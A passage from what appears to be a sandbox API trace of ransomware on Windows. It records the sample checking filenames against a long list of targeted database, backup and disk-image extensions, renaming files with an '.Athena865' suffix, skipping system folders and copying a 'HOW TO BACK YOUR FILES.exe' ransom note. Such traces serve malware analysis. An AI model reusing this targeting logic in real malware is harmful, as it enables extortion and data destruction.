lpString2=".ini") returned 1 [0038.457] lstrlenW (lpString=".sys") returned 4 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2=".sys") returned 1 [0038.457] lstrlenW (lpString="fairfield chester.exe") returned 21 [0038.457] lstrlenW (lpString="bak") returned 3 [0038.457] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0038.457] lstrlenW (lpString="ba_") returned 3 [0038.457] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0038.457] lstrlenW (lpString="dbb") returned 3 [0038.457] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0038.457] lstrlenW (lpString="vmdk") returned 4 [0038.457] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0038.457] lstrlenW (lpString="rar") returned 3 [0038.457] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0038.457] lstrlenW (lpString="zip") returned 3 [0038.457] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0038.457] lstrlenW (lpString="tgz") returned 3 [0038.457] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0038.457] lstrlenW (lpString="vbox") returned 4 [0038.458] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0038.458] lstrlenW (lpString="vdi") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0038.458] lstrlenW (lpString="vhd") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0038.458] lstrlenW (lpString="vhdx") returned 4 [0038.458] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0038.458] lstrlenW (lpString="avhd") returned 4 [0038.458] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0038.458] lstrlenW (lpString="db") returned 2 [0038.458] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0038.458] lstrlenW (lpString="db2") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0038.458] lstrlenW (lpString="db3") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0038.458] lstrlenW (lpString="dbf") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0038.458] lstrlenW (lpString="mdf") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0038.458] lstrlenW (lpString="mdb") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0038.458] lstrlenW (lpString="sql") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0038.458] lstrlenW (lpString="sqlite") returned 6 [0038.458] lstrcmpiW (lpString1="er.exe", lpString2="sqlite") returned -1 [0038.458] lstrlenW (lpString="sqlite3") returned 7 [0038.458] lstrcmpiW (lpString1="ter.exe", lpString2="sqlite3") returned 1 [0038.458] lstrlenW (lpString="sqlitedb") returned 8 [0038.458] lstrcmpiW (lpString1="ster.exe", lpString2="sqlitedb") returned 1 [0038.458] lstrlenW (lpString="xml") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0038.458] lstrlenW (lpString="$er") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0038.458] lstrlenW (lpString="4dd") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0038.458] lstrlenW (lpString="4dl") returned 3 [0038.458] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0038.458] lstrlenW (lpString="^^^") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0038.459] lstrlenW (lpString="abs") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0038.459] lstrlenW (lpString="abx") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0038.459] lstrlenW (lpString="accdb") returned 5 [0038.459] lstrcmpiW (lpString1="r.exe", lpString2="accdb") returned 1 [0038.459] lstrlenW (lpString="accdc") returned 5 [0038.459] lstrcmpiW (lpString1="r.exe", lpString2="accdc") returned 1 [0038.459] lstrlenW (lpString="accde") returned 5 [0038.459] lstrcmpiW (lpString1="r.exe", lpString2="accde") returned 1 [0038.459] lstrlenW (lpString="accdr") returned 5 [0038.459] lstrcmpiW (lpString1="r.exe", lpString2="accdr") returned 1 [0038.459] lstrlenW (lpString="accdt") returned 5 [0038.459] lstrcmpiW (lpString1="r.exe", lpString2="accdt") returned 1 [0038.459] lstrlenW (lpString="accdw") returned 5 [0038.459] lstrcmpiW (lpString1="r.exe", lpString2="accdw") returned 1 [0038.459] lstrlenW (lpString="accft") returned 5 [0038.459] lstrcmpiW (lpString1="r.exe", lpString2="accft") returned 1 [0038.459] lstrlenW (lpString="adb") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.459] lstrlenW (lpString="adb") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.459] lstrlenW (lpString="ade") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0038.459] lstrlenW (lpString="adf") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0038.459] lstrlenW (lpString="adn") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0038.459] lstrlenW (lpString="adp") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0038.459] lstrlenW (lpString="alf") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0038.459] lstrlenW (lpString="ask") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0038.459] lstrlenW (lpString="btr") returned 3 [0038.459] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0038.459] lstrlenW (lpString="cat") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0038.460] lstrlenW (lpString="cdb") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0038.460] lstrlenW (lpString="ckp") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0038.460] lstrlenW (lpString="cma") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0038.460] lstrlenW (lpString="cpd") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0038.460] lstrlenW (lpString="dacpac") returned 6 [0038.460] lstrcmpiW (lpString1="er.exe", lpString2="dacpac") returned 1 [0038.460] lstrlenW (lpString="dad") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0038.460] lstrlenW (lpString="dadiagrams") returned 10 [0038.460] lstrcmpiW (lpString1="hester.exe", lpString2="dadiagrams") returned 1 [0038.460] lstrlenW (lpString="daschema") returned 8 [0038.460] lstrcmpiW (lpString1="ster.exe", lpString2="daschema") returned 1 [0038.460] lstrlenW (lpString="db-journal") returned 10 [0038.460] lstrcmpiW (lpString1="hester.exe", lpString2="db-journal") returned 1 [0038.460] lstrlenW (lpString="db-shm") returned 6 [0038.460] lstrcmpiW (lpString1="er.exe", lpString2="db-shm") returned 1 [0038.460] lstrlenW (lpString="db-wal") returned 6 [0038.460] lstrcmpiW (lpString1="er.exe", lpString2="db-wal") returned 1 [0038.460] lstrlenW (lpString="dbc") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0038.460] lstrlenW (lpString="dbs") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0038.460] lstrlenW (lpString="dbt") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0038.460] lstrlenW (lpString="dbv") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0038.460] lstrlenW (lpString="dbx") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0038.460] lstrlenW (lpString="dcb") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0038.460] lstrlenW (lpString="dct") returned 3 [0038.460] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0038.460] lstrlenW (lpString="dcx") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0038.461] lstrlenW (lpString="ddl") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0038.461] lstrlenW (lpString="dlis") returned 4 [0038.461] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0038.461] lstrlenW (lpString="dp1") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0038.461] lstrlenW (lpString="dqy") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0038.461] lstrlenW (lpString="dsk") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0038.461] lstrlenW (lpString="dsn") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0038.461] lstrlenW (lpString="dtsx") returned 4 [0038.461] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0038.461] lstrlenW (lpString="dxl") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0038.461] lstrlenW (lpString="eco") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0038.461] lstrlenW (lpString="ecx") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0038.461] lstrlenW (lpString="edb") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0038.461] lstrlenW (lpString="epim") returned 4 [0038.461] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0038.461] lstrlenW (lpString="fcd") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0038.461] lstrlenW (lpString="fdb") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0038.461] lstrlenW (lpString="fic") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0038.461] lstrlenW (lpString="flexolibrary") returned 12 [0038.461] lstrcmpiW (lpString1=" chester.exe", lpString2="flexolibrary") returned -1 [0038.461] lstrlenW (lpString="fm5") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0038.461] lstrlenW (lpString="fmp") returned 3 [0038.461] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0038.461] lstrlenW (lpString="fmp12") returned 5 [0038.461] lstrcmpiW (lpString1="r.exe", lpString2="fmp12") returned 1 [0038.461] lstrlenW (lpString="fmpsl") returned 5 [0038.462] lstrcmpiW (lpString1="r.exe", lpString2="fmpsl") returned 1 [0038.462] lstrlenW (lpString="fol") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0038.462] lstrlenW (lpString="fp3") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0038.462] lstrlenW (lpString="fp4") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0038.462] lstrlenW (lpString="fp5") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0038.462] lstrlenW (lpString="fp7") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0038.462] lstrlenW (lpString="fpt") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0038.462] lstrlenW (lpString="frm") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0038.462] lstrlenW (lpString="gdb") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0038.462] lstrlenW (lpString="gdb") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0038.462] lstrlenW (lpString="grdb") returned 4 [0038.462] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0038.462] lstrlenW (lpString="gwi") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0038.462] lstrlenW (lpString="hdb") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0038.462] lstrlenW (lpString="his") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0038.462] lstrlenW (lpString="ib") returned 2 [0038.462] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0038.462] lstrlenW (lpString="idb") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0038.462] lstrlenW (lpString="ihx") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0038.462] lstrlenW (lpString="itdb") returned 4 [0038.462] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0038.462] lstrlenW (lpString="itw") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0038.462] lstrlenW (lpString="jet") returned 3 [0038.462] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0038.463] lstrlenW (lpString="jtx") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0038.463] lstrlenW (lpString="kdb") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0038.463] lstrlenW (lpString="kexi") returned 4 [0038.463] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0038.463] lstrlenW (lpString="kexic") returned 5 [0038.463] lstrcmpiW (lpString1="r.exe", lpString2="kexic") returned 1 [0038.463] lstrlenW (lpString="kexis") returned 5 [0038.463] lstrcmpiW (lpString1="r.exe", lpString2="kexis") returned 1 [0038.463] lstrlenW (lpString="lgc") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0038.463] lstrlenW (lpString="lwx") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0038.463] lstrlenW (lpString="maf") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0038.463] lstrlenW (lpString="maq") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0038.463] lstrlenW (lpString="mar") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0038.463] lstrlenW (lpString="marshal") returned 7 [0038.463] lstrcmpiW (lpString1="ter.exe", lpString2="marshal") returned 1 [0038.463] lstrlenW (lpString="mas") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0038.463] lstrlenW (lpString="mav") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0038.463] lstrlenW (lpString="maw") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0038.463] lstrlenW (lpString="mdbhtml") returned 7 [0038.463] lstrcmpiW (lpString1="ter.exe", lpString2="mdbhtml") returned 1 [0038.463] lstrlenW (lpString="mdn") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0038.463] lstrlenW (lpString="mdt") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0038.463] lstrlenW (lpString="mfd") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0038.463] lstrlenW (lpString="mpd") returned 3 [0038.463] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0038.464] lstrlenW (lpString="mrg") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0038.464] lstrlenW (lpString="mud") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0038.464] lstrlenW (lpString="mwb") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0038.464] lstrlenW (lpString="myd") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0038.464] lstrlenW (lpString="ndf") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0038.464] lstrlenW (lpString="nnt") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0038.464] lstrlenW (lpString="nrmlib") returned 6 [0038.464] lstrcmpiW (lpString1="er.exe", lpString2="nrmlib") returned -1 [0038.464] lstrlenW (lpString="ns2") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0038.464] lstrlenW (lpString="ns3") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0038.464] lstrlenW (lpString="ns4") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0038.464] lstrlenW (lpString="nsf") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0038.464] lstrlenW (lpString="nv") returned 2 [0038.464] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0038.464] lstrlenW (lpString="nv2") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0038.464] lstrlenW (lpString="nwdb") returned 4 [0038.464] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0038.464] lstrlenW (lpString="nyf") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0038.464] lstrlenW (lpString="odb") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0038.464] lstrlenW (lpString="odb") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0038.464] lstrlenW (lpString="oqy") returned 3 [0038.464] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0038.464] lstrlenW (lpString="ora") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0038.465] lstrlenW (lpString="orx") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0038.465] lstrlenW (lpString="owc") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0038.465] lstrlenW (lpString="p96") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0038.465] lstrlenW (lpString="p97") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0038.465] lstrlenW (lpString="pan") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0038.465] lstrlenW (lpString="pdb") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0038.465] lstrlenW (lpString="pdm") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0038.465] lstrlenW (lpString="pnz") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0038.465] lstrlenW (lpString="qry") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0038.465] lstrlenW (lpString="qvd") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0038.465] lstrlenW (lpString="rbf") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0038.465] lstrlenW (lpString="rctd") returned 4 [0038.465] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0038.465] lstrlenW (lpString="rod") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0038.465] lstrlenW (lpString="rodx") returned 4 [0038.465] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0038.465] lstrlenW (lpString="rpd") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0038.465] lstrlenW (lpString="rsd") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0038.465] lstrlenW (lpString="sas7bdat") returned 8 [0038.465] lstrcmpiW (lpString1="ster.exe", lpString2="sas7bdat") returned 1 [0038.465] lstrlenW (lpString="sbf") returned 3 [0038.465] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0038.466] lstrlenW (lpString="scx") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0038.466] lstrlenW (lpString="sdb") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0038.466] lstrlenW (lpString="sdc") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0038.466] lstrlenW (lpString="sdf") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0038.466] lstrlenW (lpString="sis") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0038.466] lstrlenW (lpString="spq") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0038.466] lstrlenW (lpString="te") returned 2 [0038.466] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0038.466] lstrlenW (lpString="teacher") returned 7 [0038.466] lstrcmpiW (lpString1="ter.exe", lpString2="teacher") returned 1 [0038.466] lstrlenW (lpString="tmd") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0038.466] lstrlenW (lpString="tps") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0038.466] lstrlenW (lpString="trc") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0038.466] lstrlenW (lpString="trc") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0038.466] lstrlenW (lpString="trm") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0038.466] lstrlenW (lpString="udb") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0038.466] lstrlenW (lpString="udl") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0038.466] lstrlenW (lpString="usr") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0038.466] lstrlenW (lpString="v12") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0038.466] lstrlenW (lpString="vis") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0038.466] lstrlenW (lpString="vpd") returned 3 [0038.466] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0038.467] lstrlenW (lpString="vvv") returned 3 [0038.467] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0038.467] lstrlenW (lpString="wdb") returned 3 [0038.467] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0038.467] lstrlenW (lpString="wmdb") returned 4 [0038.467] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0038.467] lstrlenW (lpString="wrk") returned 3 [0038.467] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0038.467] lstrlenW (lpString="xdb") returned 3 [0038.467] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0038.467] lstrlenW (lpString="xld") returned 3 [0038.467] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0038.467] lstrlenW (lpString="xmlff") returned 5 [0038.467] lstrcmpiW (lpString1="r.exe", lpString2="xmlff") returned -1 [0038.467] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Sync Framework\\fairfield chester.exe.Athena865") returned 73 [0038.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Sync Framework\\fairfield chester.exe" (normalized: "c:\\program files\\microsoft sync framework\\fairfield chester.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\fairfield chester.exe.Athena865" (normalized: "c:\\program files\\microsoft sync framework\\fairfield chester.exe.athena865"), dwFlags=0x1) returned 1 [0038.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\fairfield chester.exe.Athena865" (normalized: "c:\\program files\\microsoft sync framework\\fairfield chester.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0038.467] GetLastError () returned 0x20 [0038.468] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Microsoft Sync Framework\\fairfield chester.exe CreateFile error 32\r\n") returned 93 [0038.468] lstrlenA (lpString="[ERROR] C:\\Program Files\\Microsoft Sync Framework\\fairfield chester.exe CreateFile error 32\r\n") returned 93 [0038.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0038.468] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1537 [0038.468] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x5d, lpOverlapped=0x0) returned 1 [0038.468] CloseHandle (hObject=0x154) returned 1 [0038.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Sync Framework\\fairfield chester.exe.Athena865" (normalized: "c:\\program files\\microsoft sync framework\\fairfield chester.exe.athena865"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\fairfield chester.exe" (normalized: "c:\\program files\\microsoft sync framework\\fairfield chester.exe"), dwFlags=0x1) returned 1 [0038.469] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0038.469] CloseHandle (hObject=0x0) returned 0 [0038.469] CloseHandle (hObject=0xffffffff) returned 0 [0038.469] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc43fe80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0038.469] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0038.469] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2=".") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="..") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="windows") returned -1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="bootmgr") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="temp") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="pagefile.sys") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="boot") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="ids.txt") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="ntuser.dat") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="perflogs") returned 1 [0038.469] lstrcmpiW (lpString1="v1.0", lpString2="MSBuild") returned 1 [0038.470] lstrlenW (lpString="v1.0") returned 4 [0038.470] lstrcpyW (in: lpString1=0x241e89c, lpString2="v1.0" | out: lpString1="v1.0") returned="v1.0" [0038.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c368 [0038.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51ba18 [0038.470] lstrcatW (in: lpString1="v1.0", lpString2="\\" | out: lpString1="v1.0\\") returned="v1.0\\" [0038.470] lstrcatW (in: lpString1="v1.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="v1.0\\HOW TO BACK YOUR FILES.exe") returned="v1.0\\HOW TO BACK YOUR FILES.exe" [0038.470] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync 